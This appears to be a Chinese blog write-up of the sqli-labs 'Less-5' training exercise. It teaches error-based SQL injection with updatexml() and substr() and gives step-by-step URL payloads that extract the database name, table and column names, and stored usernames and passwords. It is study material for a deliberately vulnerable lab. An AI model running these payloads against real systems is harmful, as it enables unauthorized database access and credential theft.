less5

一样的,还是先看是什么闭合类型

 这个是单引号闭合的

然后再判断字长的时候发现这个并没有回显,所以我们就无法使用联合注入了

 但是我们在判断他是什么闭合类型的时候还是会报错,所以我们可以使用报错注入

 

这个主要是使用updatexml函数

简单讲一下这个函数,这个函数有三个参数,但是我们并不需要关注第一个和第三个,他这两个是无关紧要的,随便填填,我们主要留意的是第二个参数,当第二个参数有特殊符号的时候会爆出这一列错误,所以我们可以利用这个去执行一些函数。

!!!注意!!!

当报错是程序员自定义的时候就无法使用该方法了。

在做这一个的时候我们还需要利用一个函数叫substr()截取字符

因为updatexml()函数无法的报错内容无法超过32个字符。

 ?id=1' and updatexml(1,concat(0x7e,database()),3) -- a

还是一样的,先爆当前的数据库。security

然后获取其中的表

 ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3) -- a

再之后就是爆users中的字段了。

 这个1,31就是前32个字符,如果其中没有想要的就接着爆后面的

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31)),3) -- a 

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,62)),3) -- a

 综上就可以得到两个敏感表username和password。

然后爆这个两个字段就行了。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31)),3) -- a

 

posted @ 2023-05-23 20:33  dai呆  阅读(22)  评论(0)    收藏  举报